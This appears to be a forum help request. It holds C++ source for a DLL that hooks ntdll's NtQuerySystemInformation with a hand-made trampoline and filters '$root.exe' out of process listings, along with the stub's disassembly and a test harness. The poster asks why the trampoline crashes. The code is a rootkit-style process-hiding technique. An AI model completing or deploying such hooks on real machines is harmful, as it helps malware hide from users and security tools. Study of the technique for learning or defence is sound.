The hook works fine but the trampoline is not work at all, So the trampoline is designed to return after the Hook Bytes and continue the execution and then filter the results.
#include "pch.h"
typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NtQuerySystemInformation_t OriginalNtQuerySystemInformation = nullptr;
NTSTATUS __stdcall HookedNtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) {
NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
auto* current = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(SystemInformation);
SYSTEM_PROCESS_INFORMATION* previous = nullptr;
while (current) {
if (current->ImageName.Buffer != NULL) {
if (wcscmp(current->ImageName.Buffer, L"$root.exe") == 0) {
if (previous) {
if (current->NextEntryOffset == 0) {
previous->NextEntryOffset = 0;
}
else {
previous->NextEntryOffset += current->NextEntryOffset;
}
}
else {
if (current->NextEntryOffset == 0) {
ZeroMemory(current, sizeof(SYSTEM_PROCESS_INFORMATION));
}
else {
auto nextEntry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
reinterpret_cast<BYTE*>(current) + current->NextEntryOffset
);
memmove(current, nextEntry, SystemInformationLength - ((BYTE*)nextEntry - (BYTE*)SystemInformation));
}
}
}
else {
previous = current;
}
}
if (current->NextEntryOffset == 0) break;
current = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
reinterpret_cast<BYTE*>(current) + current->NextEntryOffset
);
}
}
return status;
}
void* HookFunction(void* AddressToHook, void* AddressToHookTo, int HookSize) {
BYTE jmp_rax[12] = {
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xE0 };
char* tramp = (char*)VirtualAlloc(nullptr, HookSize + sizeof(jmp_rax), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!tramp) {
return nullptr;
}
memcpy(tramp, AddressToHook, HookSize);
void* jmp_ret_address = (void*)((char*)AddressToHook + HookSize);
*(void**)&jmp_rax[2] = jmp_ret_address;
memcpy(tramp + HookSize, jmp_rax, sizeof(jmp_rax));
*(void**)&jmp_rax[2] = AddressToHookTo;
DWORD oldProtect = 0;
if (VirtualProtect(AddressToHook, HookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
memcpy(AddressToHook, jmp_rax, sizeof(jmp_rax));
for (int i = sizeof(jmp_rax); i < HookSize; i++) {
*((BYTE*)AddressToHook + i) = 0x90; }
VirtualProtect(AddressToHook, HookSize, oldProtect, &oldProtect);
}
return tramp; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
if (DisableThreadLibraryCalls(hModule)) {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll) {
OriginalNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (OriginalNtQuerySystemInformation) {
OriginalNtQuerySystemInformation = (NtQuerySystemInformation_t)HookFunction(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation, 16);
}
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
I have looked at the instructions from the function and the size is 16 as we don't want to leave a instruction corrupted
NtQuerySystemInfomation ASM x64
00007FF8CF990650 | 4C:8BD1 | mov r10,rcx | rcx:NtQueryInformationThread+14
00007FF8CF990653 | B8 36000000 | mov eax,36 | 36:'6'
00007FF8CF990658 | F60425 0803FE7F 01 | test byte ptr ds:[7FFE0308],1 |
00007FF8CF990660 | 75 03 | jne ntdll.7FF8CF990665 |
00007FF8CF990662 | 0F05 | syscall |
00007FF8CF990664 | C3 | ret |
00007FF8CF990665 | CD 2E | int 2E |
00007FF8CF990667 | C3 | ret |
00007FF8CF990668 | 0F1F8400 00000000 | nop dword ptr ds:[rax+rax],eax |
And I overwrite the 3 instructions and so the size is 16
and this is the app im using to test the DLL
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
#define _HOOK
void RunCheck() {
ULONG dwSize = 0;
NTSTATUS status;
status = NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &dwSize);
if (NT_ERROR(status)) {
fprintf(stderr, "Failed to get buffer size. Status: 0x%08x\n", status);
}
dwSize = dwSize * 2;
void* buffer = malloc(dwSize);
if (!buffer) {
fprintf(stderr, "Failed to allocate memory.\n");
return;
}
status = NtQuerySystemInformation(SystemProcessInformation, buffer, dwSize, &dwSize);
if (!NT_SUCCESS(status)) {
fprintf(stderr, "Failed to query system information. Status: 0x%08x\n", status);
free(buffer);
return;
}
auto* current = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(buffer);
while (current) {
wprintf(L"Image Name: %ws | PID: %u\n", current->ImageName.Buffer ? current->ImageName.Buffer : L"(null)", (ULONG)(ULONG_PTR)current->UniqueProcessId);
if (current->NextEntryOffset == 0) break;
current = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(reinterpret_cast<BYTE*>(current) + current->NextEntryOffset);
}
free(buffer);
}
int main() {
#ifdef _HOOK
if (!LoadLibraryA("Hook.dll")) {
fprintf(stderr, "Failed to load the DLL.\n");
return 1;
}
#endif // _HOOK
RunCheck();
return 0;
}
Without the Hook this code works fine and the NTSTATUS error i get when the Hook is installed is 0xC000001C (STATUS_ACCESS_VIOLATION)
What I have tried:
I can't think of anything to try as far as i can see the code is correct. I thought it might be the register RAX as its used in the storage of the syscall code in the EAX register. But I'm not sure i will give that a try tho
Now i Know they are lots of hooking libs but i kind of wanted to learn to hook functions without them. As it helped me learn ASM and stuff.